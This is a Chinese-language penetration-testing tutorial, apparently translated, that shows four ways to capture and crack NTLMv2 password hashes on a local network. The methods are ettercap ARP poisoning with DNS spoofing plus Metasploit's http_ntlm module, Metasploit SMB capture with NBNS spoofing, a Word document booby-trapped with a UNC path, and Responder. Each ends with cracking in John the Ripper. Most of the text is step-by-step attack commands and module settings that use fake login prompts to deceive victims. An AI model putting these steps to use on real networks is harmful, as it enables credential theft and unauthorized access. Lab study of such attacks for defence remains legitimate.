导语:大家好,今天我给大家展示下如何在本地网络中捕获到NTLM hash的方法。

大家好,今天我给大家展示下如何在本地网络中捕获到NTLM Hash,本文我就为大家介绍四种不同的方法。开始讲述攻击技术之前,我们先了解下NTLM Hash吧。

NTLM这一名词是由以下单词的首字母拼凑而成的:
NT:New technologies(windows的新技术)
LAN:本地局域网(Local area network)
M:管理者(Manager)

在一个windows网络中,NTLM是一套Microsoft安全协议。Windows NT 4.0操作系统中的网络身份验证默认为用户提供身份验证,完整性和机密性。 NTLMv2是最新版本,并使用基于NT MD4的单向功能。哈希长度为128位,适用于本地帐户和域帐户。
NTLM协议使用两个散列密码值中的一个或两个,这两个值也存储在服务器(或域控制器)上,并且两个hash值加的盐都是等效的,这意味着如果从服务器获取哈希值,就可以在不知道实际密码的情况下进行身份验证。

如果还想了解更多关于NTLM的信息,可以通过wikipedia.org了解到。
那么现在就让我们开始试验吧。
环境:
攻击机:Kali Linux
靶机: Windows 10

通过嗅探捕获NTLMv2hash值

首先在kali中的/etc/ettercap目录下将etter.dns中的内容全部删除,然后在里面写入以下格式的攻击者IP,然后保存文档。

* A 192.168.1.103

1.png

接下来按照下方步骤打开ettercap,进行嗅探。

1. Application -> sniffing and spoofing > ettercap
2. 点击Sniff然后选择你的网卡
3. 点击Scan for host 去生成攻击列表

2.png

选择攻击主机,添加目标,下方给出的图片中你可以看到我选择了192.168.1.101作为攻击目标,并且加入到了target1中。

3.png

在菜单中点击MITM,选择ARP poisoning,然后在弹出的框启用”sniff remote connects”,点击ok。

4.png

在菜单栏中继续点击plugin(插件)这一选项,然后选择dns_spoof.
通过使用dns_spoof攻击者可以使局域网内的流量全部经过本地,那么无论靶机通过浏览器访问什么网页,都会重定向到攻击者IP上面。

5.png

现在打开msf,然后执行下方代码使用http_ntlm模块。这一模块可以获取到NTLM/LM hash。

use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set srvhost 192.168.1.103
msf auxiliary(http_ntlm) > set SRVPORT 80
msf auxiliary(http_ntlm) > set URIPATH /
msf auxiliary(http_ntlm) > set JOHNPWFILE /root/Desktop/
msf auxiliary(http_ntlm) > exploit

执行完上述的步骤,当靶机中访问http网页时,在msf中就会捕获到靶机系统的NTLM密码。

6.png

在下方图片中你可以观察到靶机正在尝试访问”hackingarticles.in”这一网站,但是在访问过程中跳出了要输入账号密码的验证页面。现在他无论打开任何网址,都会跳出来这样的验证页面。如果他不输入账号密码,这一页面会一直出现在他的浏览器中。

如果靶机输入了他的账号密码,攻击者就可以在后台捕获到系统中的NTLM hash值。

7.png

太棒了,攻击者已经获取到了NTLMhash值,现在让我们看看我们捕获到的具体信息。
从给出的图片中你可以看到攻击者还获得两个额外的信息:
用户名:pentest
机器名:Desktop-UKIQM20

8.1.png

现在执行john_netntlmv2命令通过john ripper破解ntlm2 hash。
从下图中你可以看到已经成功的破解了之前获得的hash值:”password:123”。

8.png

通过捕获SMB流量以及欺骗NBNS对NTLM2 hash进行获取

这一部分会在机器上启动一个smb服务,用于获得SMB客户端系统的”挑战/应答”协议的密码hash。这一服务的响应是使用的默认的挑战字符串”x11x22x33x44x55x66x77x88”,可以使用Cain,Abel,L0phtcrack或者John the ripper进行破解。为了达到这一目的,攻击者必须尝试对这一模块进行验证。

use auxiliary/server/capture/smb
msf auxiliary(smb) > set srvhost 192.168.1.103
msf auxiliary(smb) > set JOHNPWFILE /tmp/john_smb
msf auxiliary(smb) > exploit

同时在捕获smb模块下执行NBNS_response模块。
这一模块伪造NetBIOS名称服务(NBNS)响应。他会侦听发送到本地网卡的NBNS请求,并且返回一个伪造的响应,将正在请求的这一机器重定向到攻击者选择的IP。与auxiliary/server/capture/smb或者auxiliary/server/capture/http_ntlm结合,就大大提高在公众网络中收集可破解hash的效率。这一模块需要的是root权限,并且绑定在所有网卡的udp/137端口上。

use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set SPOOFIP 1192.168.1.103
msf auxiliary(nbns_response) > set INTERFACE eth0
msf auxiliary(nbns_response) >exploit

这一模块会在受害者系统上生成一个假的安全提示窗口,建立与另外一个系统的连接,以便访问该系统的共享文件夹。

10.png

我们使用nmap对本地udp以及tcp端口进行扫描,下图中你可以发现NETBIOS对应的137端口已经开放。

11.1.png

现在当靶机尝试访问共享文件夹时,他将通过他的网络IP与攻击者进行连接。下图中是证明受害诤正在连接攻击者IP:192.168.1.103的证明。

11.2.png

访问到共享文件夹时,他会看到一个假的安全提示窗口,会要求受害者输入他的用户名和密码进行访问共享文件夹。

11.png

攻击者再次获得了NTMLv2 hash。从下图中可以看到,攻击者还获得了两个额外的信息。
用户名:pentest
机器名:Desktop-UKIQM20

12.png

再一次使用john_netntlmv2命令对ntlmv2 hash进行破解。

13.png

通过捕获SMB以及word UNC injector获取NTLMv2 hash

这一模块会修改.docx文件,一旦文件打开,他会将存储的netNTLM凭证发送给远程主机。它同样可以产生一个空的docx文件。必须将这一文件打开模式为编辑模式,这样才可以与远程主机进行通信。预览和只读模式不会建立起来通信。经过确认,在word 2003,2007,2010,2013攻击有效。

use auxiliary/docx/word_unc_injector
msf auxiliary(word_unc_injector) >set lhost 192.168.1.103
msf auxiliary(word_unc_injector) >exploit

它会在/root/.msf4/local文件夹中产生一个空的word文件。

14.1.png

把产生的文件发送给受害者,然后像之前一样在msf中运行smb模块。

14.2.png

下图中你可以发现auxiliary/server/capture/smb这一模块被载入,以便获取hash。

14.3.png

一旦受害者打开msf.docx文件,攻击者那边就会在他的系统上收到TLMv2 hash。与上述两个方法不同的是,这一方法只是获取到了NTLMv2Hash值,没有其他额外的信息。

14.4.png

然后执行john _netntlmv2破解密码。

14.5.png

Responder

Responder是一款强大并且简单易用的内网渗透神器。由 Laurent Gaffie创建。这一工具会监听以下端口:UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553。
现在打开一个新的命令行,执行下面命令从github下载:

git clone https://github.com/SpiderLabs/Responder.git
cd Responder

14.9.png

打开文件夹然后运行python脚本:

python Responder.py –I 192.168.1.103 -I eth0

你可以看到所有Poisoners以及服务全部打开:

14.png

现在受害者再次访问共享文件夹,他将通过网络IP与攻击者进行连接,下面给出的图像显示受害者正在连接攻击者的IP:192.168.1.103

15.png

当受害者访问共享文件夹时,他会得到一个假的错误信息,如下:

16.png

一旦攻击者成功捕获NTLMv2 hash值,你可以看到同样获得了用户名以及机器名:

17.1.png

它会在/root/Desktop/Responder/logs.

17.png

然后使用john_netntlmv2进行破解,下图显示已经破解成功:

18.png

源链接

Hacking more

...